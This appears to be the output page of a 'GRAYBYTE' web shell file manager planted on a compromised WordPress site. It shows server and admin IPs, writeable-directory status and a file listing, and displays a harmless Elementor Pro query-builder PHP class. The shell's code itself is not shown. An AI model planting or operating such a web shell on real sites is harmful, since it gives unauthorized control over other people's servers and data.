$76 GRAYBYTE WORDPRESS FILE MANAGER $77

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.43.35 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/home/bravrvjk/ubukode.com/wp-content/plugins/elementor-pro/core/database/

HOME
Current File : /home/bravrvjk/ubukode.com/wp-content/plugins/elementor-pro/core/database//model-query-builder.php
<?php
namespace ElementorPro\Core\Database;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Model_Query_Builder extends Query_Builder {
	/**
	 * The Query Builder associated model.
	 *
	 * @var string
	 */
	public $model;

	/**
	 * Whether the returned value should be hydrated into a model.
	 *
	 * @var bool
	 */
	public $return_as_model = true;

	/**
	 * Model_Query_Builder constructor.
	 *
	 * @param string $model_classname - Model to use inside the builder.
	 * @param \wpdb|null $connection - MySQL connection.
	 */
	public function __construct( $model_classname, \wpdb $connection = null ) {
		$this->set_model( $model_classname );

		parent::__construct( $connection );
	}

	/**
	 * Set the model the generated from the query builder.
	 *
	 * @param $model_classname
	 *
	 * @return $this
	 */
	public function set_model( $model_classname ) {
		$this->model = $model_classname;

		return $this;
	}

	/**
	 * Disable model hydration.
	 *
	 * @return $this
	 */
	public function disable_model_initiation() {
		$this->return_as_model = false;

		return $this;
	}

	/**
	 * Disable hydration before calling the original count.
	 *
	 * @param string $column
	 *
	 * @return int
	 */
	public function count( $column = '*' ) {
		$this->disable_model_initiation();

		return parent::count( $column );
	}

	/**
	 * Disable hydration before calling the original pluck.
	 *
	 * @inheritDoc
	 */
	public function pluck( $column = null ) {
		$this->disable_model_initiation();

		return parent::pluck( $column );
	}

	/**
	 * Override the parent `get()` and make Models from the results.
	 *
	 * @return \ElementorPro\Core\Utils\Collection
	 */
	public function get() {
		$items = parent::get();

		if ( ! $this->return_as_model ) {
			return $items;
		}

		// Convert the SQL results to Model instances.
		return $items->map( function ( $comment ) {
			return new $this->model( $comment );
		} );
	}
}


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0755
statics
--
6 Apr 2026 8.58 AM
bravrvjk / bravrvjk
0755
base-database-updater.php
3.128 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644
base-migration.php
4.442 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644
join-clause.php
1.607 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644
model-base.php
3.483 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644
model-query-builder.php
1.886 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644
query-builder.php
30.033 KB
18 Nov 2025 3.23 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF